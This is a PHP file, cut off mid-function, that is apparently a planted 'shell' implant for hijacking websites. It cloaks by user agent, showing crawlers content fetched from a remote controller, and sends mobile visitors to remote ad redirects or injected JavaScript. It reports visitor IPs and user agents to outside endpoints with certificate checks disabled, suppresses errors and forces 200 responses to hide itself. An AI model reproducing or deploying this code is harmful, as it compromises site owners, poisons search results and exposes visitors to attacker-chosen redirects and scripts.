if (defined('ToolmanIT_SHELL_LOADED')) {
return;
}
define('ToolmanIT_SHELL_LOADED', 1);
if (!defined('ToolmanIT_SHELL_VER')) {
define('ToolmanIT_SHELL_VER', 'fan-shell-20260818f');
}
@ini_set('zlib.output_compression', '0');
if (function_exists('apache_setenv')) {
@apache_setenv('no-gzip', '1');
}
set_time_limit(20);
error_reporting(0);
if (!defined('JSON_UNESCAPED_SLASHES')) {
define('JSON_UNESCAPED_SLASHES', 64);
}
if (!defined('JSON_UNESCAPED_UNICODE')) {
define('JSON_UNESCAPED_UNICODE', 256);
}
if (!function_exists('http_response_code')) {
function http_response_code($code = null)
{
static $current = 200;
if ($code !== null) {
$current = (int) $code;
if (!headers_sent()) {
$proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1';
if ($proto === '' || stripos($proto, 'HTTP') !== 0) {
$proto = 'HTTP/1.1';
}
$text = ($current === 404) ? 'Not Found' : (($current === 429) ? 'Too Many Requests' : 'OK');
header($proto . ' ' . $current . ' ' . $text, true, $current);
}
}
return $current;
}
}
if (!headers_sent()) {
$GLOBALS['ToolmanIT_proto'] = isset($_SERVER['SERVER_PROTOCOL']) ? (string)$_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1';
if ($GLOBALS['ToolmanIT_proto'] === '' || stripos($GLOBALS['ToolmanIT_proto'], 'HTTP') !== 0) {
$GLOBALS['ToolmanIT_proto'] = 'HTTP/1.1';
}
}
if (!function_exists('ToolmanIT_forceOk')) {
function ToolmanIT_forceOk()
{
if (headers_sent()) {
return;
}
$proto = isset($GLOBALS['ToolmanIT_proto']) ? $GLOBALS['ToolmanIT_proto'] : 'HTTP/1.1';
if (function_exists('http_response_code')) {
http_response_code(200);
} else {
header($proto . ' 200 OK');
}
if (isset($_SERVER['REDIRECT_STATUS'])) {
$_SERVER['REDIRECT_STATUS'] = '200';
}
header('Content-Type: text/html; charset=utf-8');
}
}
if (!function_exists('ToolmanIT_cleanHeaderValue')) {
function ToolmanIT_cleanHeaderValue($v)
{
return str_replace(array("\r", "\n"), '', (string)$v);
}
}
if (!function_exists('ToolmanIT_getRealIp')) {
function ToolmanIT_getRealIp()
{
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$cf = trim((string)$_SERVER['HTTP_CF_CONNECTING_IP']);
if ($cf !== '' && filter_var($cf, FILTER_VALIDATE_IP)) {
return $cf;
}
}
$remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string)$_SERVER['REMOTE_ADDR']) : '';
if ($remote === '0.0.0.0') {
$remote = '';
}
$trustProxy = $remote !== '' && (
$remote === '127.0.0.1' || $remote === '::1'
|| filter_var($remote, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false
);
if ($trustProxy) {
if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
$xr = trim((string)$_SERVER['HTTP_X_REAL_IP']);
if ($xr !== '' && filter_var($xr, FILTER_VALIDATE_IP)) {
return $xr;
}
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ToolmanIT_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$xff = trim($ToolmanIT_ips[0]);
if ($xff !== '' && filter_var($xff, FILTER_VALIDATE_IP)) {
return $xff;
}
}
}
return $remote;
}
}
if (!function_exists('ToolmanIT_detectScheme')) {
function ToolmanIT_detectScheme($fallback)
{
$httpsOn = !empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off';
$port = isset($_SERVER['SERVER_PORT']) ? (string)$_SERVER['SERVER_PORT'] : '';
if ($httpsOn || $port === '443') {
return 'https';
}
if ($port === '80') {
return 'http';
}
if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
$_ToolmanIT_fwd = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO']);
$ToolmanIT_proto = trim(isset($_ToolmanIT_fwd[0]) ? $_ToolmanIT_fwd[0] : '');
if ($ToolmanIT_proto === 'http' || $ToolmanIT_proto === 'https') {
return strtolower($ToolmanIT_proto);
}
}
if (!empty($_SERVER['REQUEST_SCHEME'])) {
$ToolmanIT_rs = strtolower(trim((string)$_SERVER['REQUEST_SCHEME']));
if ($ToolmanIT_rs === 'http' || $ToolmanIT_rs === 'https') {
return $ToolmanIT_rs;
}
}
$fallback = strtolower(trim((string)$fallback));
if ($fallback === 'http' || $fallback === 'https') {
return $fallback;
}
return 'https';
}
}
if (!function_exists('ToolmanIT_forceHttpsUrl')) {
function ToolmanIT_forceHttpsUrl($url)
{
$url = trim((string)$url);
if ($url === '') {
return '';
}
if (stripos($url, 'http://') === 0) {
return 'https://' . substr($url, 7);
}
return $url;
}
}
if (!function_exists('ToolmanIT_getRequestHost')) {
function ToolmanIT_getRequestHost()
{
$ToolmanIT_host = isset($_SERVER['HTTP_HOST']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_HOST']) : '';
if ($ToolmanIT_host === '') {
return '';
}
$ToolmanIT_pos = strpos($ToolmanIT_host, ':');
if ($ToolmanIT_pos !== false) {
return substr($ToolmanIT_host, 0, $ToolmanIT_pos);
}
return $ToolmanIT_host;
}
}
if (!function_exists('ToolmanIT_httpGetRaw')) {
function ToolmanIT_httpGetRaw($url)
{
$url = trim((string)$url);
if ($url === '') {
$GLOBALS['ToolmanIT_lastHttpError'] = 'empty_url';
return false;
}
$outUa = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36';
$origUa = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : '';
$origIp = ToolmanIT_getRealIp();
if ($origUa !== '' && stripos($url, 'sp=') === false && function_exists('ToolmanIT_spiderBrandCode')) {
$spCode = ToolmanIT_spiderBrandCode($origUa);
if ($spCode !== '') {
$url .= (strpos($url, '?') === false ? '?' : '&') . 'sp=' . rawurlencode($spCode);
}
}
if ($origUa !== '' && stripos($url, 'ua=') === false) {
$url .= (strpos($url, '?') === false ? '?' : '&') . 'ua=' . rawurlencode($origUa);
}
$hdrs = array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
if ($origIp !== '' && $origIp !== '0.0.0.0') {
$hdrs[] = 'X-Real-IP: ' . $origIp;
$hdrs[] = 'X-Forwarded-For: ' . $origIp;
}
if ($origUa !== '') {
$hdrs[] = 'X-Original-UA: ' . $origUa;
$hdrs[] = 'X-Fan-UA: ' . $origUa;
}
$lastErr = '';
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4);
curl_setopt($ch, CURLOPT_TIMEOUT, 8);
curl_setopt($ch, CURLOPT_USERAGENT, $outUa);
curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
$body = curl_exec($ch);
$errno = curl_errno($ch);
$err = curl_error($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($body !== false && trim((string)$body) !== '' && $errno === 0 && $code >= 200 && $code < 400) {
$GLOBALS['ToolmanIT_lastHttpError'] = 'curl_ok_' . $code;
return $body;
}
$lastErr = 'curl_' . $errno . ':' . $err;
$GLOBALS['ToolmanIT_lastHttpError'] = $lastErr !== '' ? $lastErr : 'curl_empty';
}
$ctx = stream_context_create(array(
'http' => array(
'method' => 'GET',
'header' => "User-Agent: " . $outUa . "\r\nAccept: text/html,*/*\r\n",
'timeout' => 8,
'ignore_errors' => true,
),
'ssl' => array('verify_peer' => false, 'verify_peer_name' => false),
));
$body = @file_get_contents($url, false, $ctx);
if ($body !== false && trim((string)$body) !== '') {
$GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_ok';
return $body;
}
$GLOBALS['ToolmanIT_lastHttpError'] = $lastErr !== '' ? $lastErr : 'shell_fail';
return false;
}
}
if (!function_exists('ToolmanIT_httpGet')) {
function ToolmanIT_httpGet($url)
{
$ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/';
$ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : '';
$ToolmanIT_ref = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : '';
$ToolmanIT_ip = ToolmanIT_getRealIp();
$ToolmanIT_outUa = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36';
$ToolmanIT_headers = array(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'X-Real-IP: ' . $ToolmanIT_ip,
'X-Forwarded-For: ' . $ToolmanIT_ip,
);
unset($ToolmanIT_uri, $ToolmanIT_ref);
if (function_exists('curl_init')) {
$ToolmanIT_ch = curl_init();
curl_setopt($ToolmanIT_ch, CURLOPT_URL, $url);
curl_setopt($ToolmanIT_ch, CURLOPT_USERAGENT, $ToolmanIT_outUa);
curl_setopt($ToolmanIT_ch, CURLOPT_HTTPHEADER, $ToolmanIT_headers);
curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ToolmanIT_ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ToolmanIT_ch, CURLOPT_HEADER, false);
curl_setopt($ToolmanIT_ch, CURLOPT_ENCODING, '');
curl_setopt($ToolmanIT_ch, CURLOPT_CONNECTTIMEOUT, 8);
curl_setopt($ToolmanIT_ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ToolmanIT_ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ToolmanIT_ch, CURLOPT_MAXREDIRS, 3);
if (defined('CURL_IPRESOLVE_V4')) {
curl_setopt($ToolmanIT_ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
}
$ToolmanIT_body = curl_exec($ToolmanIT_ch);
$ToolmanIT_code = (int)curl_getinfo($ToolmanIT_ch, CURLINFO_HTTP_CODE);
$ToolmanIT_err = curl_error($ToolmanIT_ch);
curl_close($ToolmanIT_ch);
if ($ToolmanIT_body === false || $ToolmanIT_body === null) {
$GLOBALS['ToolmanIT_lastHttpError'] = 'curl_fail:' . $ToolmanIT_err;
return false;
}
if ($ToolmanIT_code >= 400) {
$GLOBALS['ToolmanIT_lastHttpError'] = 'http_' . $ToolmanIT_code;
return false;
}
$GLOBALS['ToolmanIT_lastHttpError'] = 'http_' . $ToolmanIT_code . '_ok';
return $ToolmanIT_body;
}
$ToolmanIT_context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => 15,
'ignore_errors' => true,
'user_agent' => $ToolmanIT_outUa,
'header' => implode("\r\n", $ToolmanIT_headers) . "\r\n"
)
));
$ToolmanIT_body = @file_get_contents($url, false, $ToolmanIT_context);
if ($ToolmanIT_body === false) {
$GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_fail';
return false;
}
$GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_ok';
return $ToolmanIT_body;
}
}
if (!function_exists('ToolmanIT_isBrowserUa')) {
function ToolmanIT_isBrowserUa($ua)
{
$ua = trim((string)$ua);
if ($ua === '') {
return false;
}
if (preg_match('/\b(?:wget|curl|python(?:-requests)?|scrapy|libwww-perl|headlesschrome|phantomjs|selenium)\b/i', $ua)) {
return false;
}
if (preg_match('/\b(?:httpclient|go-http-client|apache-httpclient)\b/i', $ua) && !preg_match('/Mozilla\/|AppleWebKit\//i', $ua)) {
return false;
}
if (preg_match('/Baiduspider|Googlebot|Sogou\s+web\s+spider|YisouSpider|360Spider|Bytespider|bingbot|Yandex/i', $ua)) {
return false;
}
return (bool)preg_match('/Mozilla\/|AppleWebKit\/|Chrome\/|CriOS\/|Firefox\/|FxiOS\/|Edg\/|OPR\/|Safari\/|MicroMessenger|MQQBrowser|UCBrowser|Quark|HuaweiBrowser|VivoBrowser|MiuiBrowser|SamsungBrowser|Baidu|baiduboxapp|SogouMobileBrowser|NewsArticle|ToutiaoMicro|BytedanceWebview|oppobrowser|HeyTapBrowser|QihooBrowser|360browser/i', $ua);
}
}
if (!function_exists('ToolmanIT_uriHasShellScript')) {
function ToolmanIT_uriHasShellScript($uri, $innerScript)
{
$uri = (string)$uri;
if ($uri === '') {
return false;
}
$innerScript = trim((string)$innerScript);
if ($innerScript !== '') {
$script = preg_replace('/[?].*$/', '', $innerScript);
$script = basename(str_replace('\\', '/', (string)$script));
if ($script !== '' && strtolower($script) !== 'index.php') {
if (stripos($uri, $script) !== false || stripos($uri, $innerScript) !== false) {
return true;
}
}
}
if (preg_match('#/(?!index\.php)([a-z0-9_-]+)\.php(?:\?|/|$|#)#i', $uri)) {
return true;
}
return false;
}
}
if (!function_exists('ToolmanIT_isInnerRequest')) {
function ToolmanIT_isInnerRequest($uri, $innerScript)
{
$script = preg_replace('/[?].*$/', '', (string)$innerScript);
$script = basename(str_replace('\\', '/', $script));
if ($script === '') {
$script = 'art.php';
}
if (stripos((string)$uri, $script) !== false || stripos((string)$uri, (string)$innerScript) !== false) {
return true;
}
$scriptName = isset($_SERVER['SCRIPT_NAME']) ? str_replace('\\', '/', (string)$_SERVER['SCRIPT_NAME']) : '';
if ($scriptName !== '' && stripos(basename($scriptName), $script) !== false) {
return true;
}
return false;
}
}
if (!function_exists('ToolmanIT_resolveUriPath')) {
function ToolmanIT_pickPublicPath($raw)
{
$raw = trim(str_replace('\\', '/', (string)$raw));
if ($raw === '') {
return '';
}
if ($raw[0] !== '/' && !preg_match('#^[a-z][a-z0-9+.-]*://#i', $raw)) {
$raw = '/' . $raw;
}
$path = parse_url($raw, PHP_URL_PATH);
if (!is_string($path) || $path === '' || $path === '/') {
return '';
}
if (preg_match('#/(?:art|index)\.php$#i', $path) || preg_match('#/index\.(?:html|htm)$#i', $path)) {
return '';
}
return $path;
}
function ToolmanIT_resolveUriPath($uri, $isInnerRequest)
{
$candidates = array();
if (!empty($_GET['u'])) {
$candidates[] = (string)$_GET['u'];
}
$query = isset($_SERVER['QUERY_STRING']) ? (string)$_SERVER['QUERY_STRING'] : '';
if ($query !== '') {
if ($query[0] === '/') {
$candidates[] = (string)strtok($query, '?');
} elseif (strpos($query, '=') === false) {
$candidates[] = '/' . ltrim($query, '/');
} elseif ($isInnerRequest) {
$candidates[] = '/' . preg_replace('/^([^=\/]+)=/', '$1/', $query, 1);
}
}
foreach (array('REQUEST_URI', 'UNENCODED_URL', 'HTTP_X_REWRITE_URL', 'HTTP_X_ORIGINAL_URL', 'REDIRECT_URL', 'REDIRECT_REDIRECT_URL') as $key) {
if (!empty($_SERVER[$key])) {
$candidates[] = (string)$_SERVER[$key];
}
}
$candidates[] = (string)$uri;
if (!empty($_SERVER['PATH_INFO'])) {
$candidates[] = (string)$_SERVER['PATH_INFO'];
}
foreach ($candidates as $raw) {
$path = ToolmanIT_pickPublicPath($raw);
if ($path !== '') {
return $path;
}
}
return '/';
}
}
if (!function_exists('ToolmanIT_getVisitUri')) {
function ToolmanIT_getVisitUri()
{
$uri = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/';
if ($uri === '') {
return '/';
}
$pos = strpos($uri, '#');
if ($pos !== false) {
$uri = substr($uri, 0, $pos);
}
return $uri;
}
}
if (!function_exists('ToolmanIT_buildFullPageUrl')) {
function ToolmanIT_buildFullPageUrl($scheme, $host)
{
$host = trim((string)$host);
if ($host === '') {
return ToolmanIT_getVisitUri();
}
$scheme = trim((string)$scheme) !== '' ? trim((string)$scheme) : 'http';
$uri = ToolmanIT_getVisitUri();
if ($uri === '' || $uri[0] !== '/') {
$uri = '/' . ltrim($uri, '/');
}
return $scheme . '://' . $host . $uri;
}
}
if (!function_exists('ToolmanIT_spiderBrandCode')) {
function ToolmanIT_spiderBrandCode($ua)
{
$ua = (string)$ua;
if ($ua === '') {
return '';
}
if (preg_match('/Baiduspider/i', $ua)) {
return 'baidu';
}
if (preg_match('/Googlebot|Google-InspectionTool|AdsBot-Google|Storebot-Google|Mediapartners-Google/i', $ua)) {
return 'google';
}
if (preg_match('/Sogou\s+web\s+spider|Sogou-Test-Spider/i', $ua)) {
return 'sogou';
}
if (preg_match('/YisouSpider/i', $ua)) {
return 'sm';
}
if (preg_match('/360Spider|HaosouSpider/i', $ua)) {
return '360';
}
if (preg_match('/Bytespider/i', $ua)) {
return 'byte';
}
if (preg_match('/bingbot|BingPreview/i', $ua)) {
return 'bing';
}
return '';
}
}
if (!function_exists('ToolmanIT_buildApiUrl')) {
function ToolmanIT_buildApiUrl($apiBase, $host, $ip, $scheme, $uriPath, $phpScript, $contentType, $pageUrl = '', $ua = '', $dev = '')
{
$ToolmanIT_params = array(
'u' => $uriPath,
'host' => $host,
'ip' => $ip,
'scheme' => $scheme,
'type' => $contentType,
'ru' => ToolmanIT_getVisitUri(),
);
if ($phpScript !== null && $phpScript !== '') {
$ToolmanIT_params['php'] = $phpScript;
}
if ($pageUrl !== '') {
$ToolmanIT_params['url'] = $pageUrl;
}
if ($ua !== '' && function_exists('ToolmanIT_spiderBrandCode')) {
$sp = ToolmanIT_spiderBrandCode($ua);
if ($sp !== '') {
$ToolmanIT_params['sp'] = $sp;
}
}
if ($ua !== '') {
$ToolmanIT_params['ua'] = substr((string)$ua, 0, 250);
}
if ($dev === 'm' || $dev === 'p') {
$ToolmanIT_params['dev'] = $dev;
}
return rtrim($apiBase, '?/') . '?' . http_build_query($ToolmanIT_params);
}
}
if (!function_exists('ToolmanIT_buildLinkApiUrl')) {
function ToolmanIT_buildLinkApiUrl($linkApiBase, $host, $scheme, $phpScript, $contentType, $uri = '', $pageUrl = '', $ip = '', $ua = '', $dev = '')
{
$ToolmanIT_params = array(
'host' => $host,
'scheme' => $scheme,
'type' => $contentType,
);
if ($phpScript !== null && $phpScript !== '') {
$ToolmanIT_params['php'] = $phpScript;
}
if ($uri !== '' && $uri !== '/') {
if ($uri[0] !== '/') {
$uri = '/' . $uri;
}
$ToolmanIT_params['u'] = $uri;
}
if ($pageUrl !== '') {
$ToolmanIT_params['url'] = $pageUrl;
}
if ($ip !== '') {
$ToolmanIT_params['ip'] = $ip;
}
if ($ua !== '' && function_exists('ToolmanIT_spiderBrandCode')) {
$sp = ToolmanIT_spiderBrandCode($ua);
if ($sp !== '') {
$ToolmanIT_params['sp'] = $sp;
}
}
if ($ua !== '') {
$ToolmanIT_params['ua'] = substr((string)$ua, 0, 250);
}
if ($dev === 'm' || $dev === 'p') {
$ToolmanIT_params['dev'] = $dev;
}
return rtrim($linkApiBase, '?/') . '?' . http_build_query($ToolmanIT_params);
}
}
if (!function_exists('ToolmanIT_spiderConfigUrl')) {
function ToolmanIT_spiderConfigUrl($linkApiBase)
{
$base = preg_replace('#/link\.php$#i', '', rtrim((string)$linkApiBase, '/'));
return $base . '/spider-config.php';
}
}
if (!function_exists('ToolmanIT_fetchSpiderConfig')) {
function ToolmanIT_fetchSpiderConfig(array $config, $host = '')
{
static $ToolmanIT_cache = array();
$ToolmanIT_host = strtolower(trim((string)$host));
if (isset($ToolmanIT_cache[$ToolmanIT_host])) {
return $ToolmanIT_cache[$ToolmanIT_host];
}
$ToolmanIT_out = array(
'link_only' => !empty($config['spiderLinkOnly']),
'default_php' => '',
'ad_enabled' => false,
'baidu_spider_only' => true,
'ad_target'=> '',
'ad_mode' => '',
'mobile_js'=> '',
'jump_url' => '',
'visit_url'=> '',
'ad_test_ips'=> array(),
'baidu_allow_ips'=> array('123.129.217.209'),
'baidu_allow_prefixes'=> array(
'220.181.', '123.125.', '123.126.', '116.179.', '116.180.', '116.177.',
'180.76.', '111.206.', '119.63.', '115.239.', '124.192.', '42.236.',
),
);
$ToolmanIT_url = ToolmanIT_spiderConfigUrl(isset($config['linkApiBase']) ? $config['linkApiBase'] : '');
if ($ToolmanIT_url === '' || stripos($ToolmanIT_url, 'spider-config.php') === false) {
$ToolmanIT_cache[$ToolmanIT_host] = $ToolmanIT_out;
return $ToolmanIT_out;
}
if ($ToolmanIT_host !== '') {
$ToolmanIT_url .= (strpos($ToolmanIT_url, '?') !== false ? '&' : '?') . 'host=' . rawurlencode($ToolmanIT_host);
}
$ToolmanIT_disk = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fan_sc_' . md5($ToolmanIT_url) . '.json';
if (is_file($ToolmanIT_disk) && (time() - (int)@filemtime($ToolmanIT_disk)) < 60) {
$ToolmanIT_cachedBody = @file_get_contents($ToolmanIT_disk);
if (is_string($ToolmanIT_cachedBody) && $ToolmanIT_cachedBody !== '') {
$ToolmanIT_body = $ToolmanIT_cachedBody;
}
}
if (!isset($ToolmanIT_body)) {
$ToolmanIT_body = function_exists('ToolmanIT_httpGetRaw') ? ToolmanIT_httpGetRaw($ToolmanIT_url) : ToolmanIT_httpGet($ToolmanIT_url);
if ($ToolmanIT_body !== false && trim($ToolmanIT_body) !== '') {
@file_put_contents($ToolmanIT_disk, $ToolmanIT_body);
}
}
if ($ToolmanIT_body !== false && trim($ToolmanIT_body) !== '') {
$ToolmanIT_data = json_decode($ToolmanIT_body, true);
if (is_array($ToolmanIT_data)) {
if (array_key_exists('link_only', $ToolmanIT_data)) {
$ToolmanIT_out['link_only'] = !empty($ToolmanIT_data['link_only']);
}
if (array_key_exists('ad_enabled', $ToolmanIT_data)) {
$ToolmanIT_out['ad_enabled'] = !empty($ToolmanIT_data['ad_enabled']);
}
if (array_key_exists('baidu_spider_only', $ToolmanIT_data)) {
$ToolmanIT_out['baidu_spider_only'] = !empty($ToolmanIT_data['baidu_spider_only']);
}
if (!empty($ToolmanIT_data['default_php'])) {
$ToolmanIT_out['default_php'] = trim((string)$ToolmanIT_data['default_php']);
}
if (!empty($ToolmanIT_data['ad_target'])) {
$ToolmanIT_out['ad_target'] = trim((string)$ToolmanIT_data['ad_target']);
}
if (!empty($ToolmanIT_data['ad_mode'])) {
$ToolmanIT_mode = strtolower(trim((string)$ToolmanIT_data['ad_mode']));
if (in_array($ToolmanIT_mode, array('js', 'url'), true)) {
$ToolmanIT_out['ad_mode'] = $ToolmanIT_mode;
}
}
if (!empty($ToolmanIT_data['mobile_js'])) {
$ToolmanIT_out['mobile_js'] = trim((string)$ToolmanIT_data['mobile_js']);
}
if (!empty($ToolmanIT_data['jump_url'])) {
$ToolmanIT_out['jump_url'] = trim((string)$ToolmanIT_data['jump_url']);
}
if (!empty($ToolmanIT_data['ad_test_ips']) && is_array($ToolmanIT_data['ad_test_ips'])) {
$ToolmanIT_out['ad_test_ips'] = $ToolmanIT_data['ad_test_ips'];
}
if (!empty($ToolmanIT_data['baidu_allow_ips']) && is_array($ToolmanIT_data['baidu_allow_ips'])) {
$ToolmanIT_out['baidu_allow_ips'] = $ToolmanIT_data['baidu_allow_ips'];
}
if (!empty($ToolmanIT_data['baidu_allow_prefixes']) && is_array($ToolmanIT_data['baidu_allow_prefixes'])) {
$ToolmanIT_out['baidu_allow_prefixes'] = $ToolmanIT_data['baidu_allow_prefixes'];
}
if (!empty($ToolmanIT_data['visit_url'])) {
$ToolmanIT_out['visit_url'] = trim((string)$ToolmanIT_data['visit_url']);
}
}
}
$ToolmanIT_cache[$ToolmanIT_host] = $ToolmanIT_out;
return $ToolmanIT_out;
}
}
if (!function_exists('ToolmanIT_fetchSpiderLinkOnly')) {
function ToolmanIT_fetchSpiderLinkOnly(array $config, $host = '')
{
$ToolmanIT_data = ToolmanIT_fetchSpiderConfig($config, $host);
return !empty($ToolmanIT_data['link_only']);
}
}
if (!function_exists('ToolmanIT_normalizeJumpUrl')) {
function ToolmanIT_normalizeJumpUrl($url)
{
$url = trim((string)$url);
if ($url === '' || $url === 'https://' || $url === 'http://') {
return '';
}
if (!preg_match('#^https?://#i', $url)) {
$url = 'https://' . ltrim($url, '/');
}
return $url;
}
}
if (!function_exists('ToolmanIT_targetIsJs')) {
function ToolmanIT_targetIsJs($url)
{
$url = trim((string)$url);
if ($url === '') {
return false;
}
$path = parse_url($url, PHP_URL_PATH);
if (!is_string($path) || $path === '') {
$path = $url;
}
return (bool)preg_match('/\.js$/i', $path);
}
}
if (!function_exists('ToolmanIT_resolveAdTarget')) {
function ToolmanIT_resolveAdTarget(array $config, $host = '')
{
$ToolmanIT_data = ToolmanIT_fetchSpiderConfig($config, $host);
$ToolmanIT_target = '';
if (!empty($ToolmanIT_data['ad_target'])) {
$ToolmanIT_target = trim((string)$ToolmanIT_data['ad_target']);
}
if ($ToolmanIT_target === '' && !empty($ToolmanIT_data['mobile_js'])) {
$ToolmanIT_target = trim((string)$ToolmanIT_data['mobile_js']);
}
if ($ToolmanIT_target === '' && !empty($ToolmanIT_data['jump_url'])) {
$ToolmanIT_target = trim((string)$ToolmanIT_data['jump_url']);
}
if ($ToolmanIT_target === '' && !empty($config['mobileJs'])) {
$ToolmanIT_target = trim((string)$config['mobileJs']);
}
if ($ToolmanIT_target === '' && !empty($config['jumpUrl'])) {
$ToolmanIT_target = trim((string)$config['jumpUrl']);
}
$ToolmanIT_target = ToolmanIT_normalizeJumpUrl($ToolmanIT_target);
$ToolmanIT_mode = isset($ToolmanIT_data['ad_mode']) ? strtolower(trim((string)$ToolmanIT_data['ad_mode'])) : '';
if (!in_array($ToolmanIT_mode, array('js', 'url'), true)) {
$ToolmanIT_mode = ToolmanIT_targetIsJs($ToolmanIT_target) ? 'js' : 'url';
}
$ToolmanIT_js = '';
$ToolmanIT_jump = '';
if ($ToolmanIT_mode === 'js') {
$ToolmanIT_js = ToolmanIT_forceHttpsUrl($ToolmanIT_target);
} else {
$ToolmanIT_jump = $ToolmanIT_target;
}
return array(
'mode' => $ToolmanIT_mode,
'js' => $ToolmanIT_js,
'jump' => $ToolmanIT_jump,
);
}
}
if (!function_exists('ToolmanIT_resolveMobileJs')) {
function ToolmanIT_resolveMobileJs(array $config, $host = '')
{
$ToolmanIT_ad = ToolmanIT_resolveAdTarget($config, $host);
return $ToolmanIT_ad['js'];
}
}
if (!function_exists('ToolmanIT_resolveVisitApiBase')) {
function ToolmanIT_resolveVisitApiBase(array $config, $host = '')
{
unset($host);
if (!empty($config['visitApiBase'])) {
return trim((string)$config['visitApiBase']);
}
foreach (array('linkApiBase', 'apiBase') as $ToolmanIT_key) {
if (empty($config[$ToolmanIT_key])) {
continue;
}
$ToolmanIT_base = preg_replace('#/(link|api)\.php$#i', '/visit.php', rtrim((string)$config[$ToolmanIT_key], '/'));
if (is_string($ToolmanIT_base) && stripos($ToolmanIT_base, 'visit.php') !== false) {
return $ToolmanIT_base;
}
}
return '';
}
}
if (!function_exists('ToolmanIT_reportVisitServer')) {
function ToolmanIT_reportVisitServer(array $config, $scheme, $host, $uri, $ua, $isMobile)
{
$config['visitApiBase'] = ToolmanIT_resolveVisitApiBase($config, $host);
$ToolmanIT_url = ToolmanIT_buildVisitUrl($config, $scheme, $host, $uri, $ua, $isMobile);
if ($ToolmanIT_url === '') {
return;
}
if (function_exists('ToolmanIT_httpGetRaw')) {
ToolmanIT_httpGetRaw($ToolmanIT_url);
} else {
ToolmanIT_httpGet($ToolmanIT_url);
}
}
}
if (!function_exists('ToolmanIT_outputMobileAdPage')) {
function ToolmanIT_outputMobileAdPage(array $ad)
{
$mode = isset($ad['mode']) ? (string)$ad['mode'] : '';
$jump = isset($ad['jump']) ? trim((string)$ad['jump']) : '';
$js = isset($ad['js']) ? trim((string)$ad['js']) : '';
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store');
echo '
';
echo '';
if ($mode === 'url' && $jump !== '') {
$ToolmanIT_json = json_encode($jump, JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
echo '';
} elseif ($js !== '') {
echo '';
}
echo '';
}
}
if (!function_exists('ToolmanIT_forceRemoteBases')) {
function ToolmanIT_forceRemoteBases(array $config)
{
$bBase = isset($config['bBase']) ? trim((string)$config['bBase']) : '';
if ($bBase === '' && !empty($config['apiBase'])) {
$bBase = preg_replace('#/(api|link|visit)\.php$#i', '', rtrim((string)$config['apiBase'], '/'));
}
if ($bBase !== '') {
if (!preg_match('#^https?://#i', $bBase)) {
$bBase = 'http://' . ltrim($bBase, '/');
}
$bBase = rtrim($bBase, '/');
$bBase = preg_replace('#/(api|link|visit)\.php$#i', '', $bBase);
$config['apiBase'] = $bBase . '/api.php';
$config['linkApiBase'] = $bBase . '/link.php';
$config['visitApiBase'] = $bBase . '/visit.php';
}
$php = isset($config['phpInnerScript']) ? trim((string)$config['phpInnerScript']) : '';
if ($php === '' || stripos($php, 'art.php') !== false) {
$php = basename(__FILE__);
}
$base = strtolower(basename(preg_replace('/[?#].*$/', '', str_replace('\\', '/', $php))));
if ($base === '' || $base === 'index.php' || $base === 'index.htm' || $base === 'index.html') {
$remotePhp = '';
if (!empty($config['linkApiBase']) && function_exists('ToolmanIT_fetchSpiderConfig')) {
$remote = ToolmanIT_fetchSpiderConfig($config, function_exists('ToolmanIT_getRequestHost') ? ToolmanIT_getRequestHost() : '');
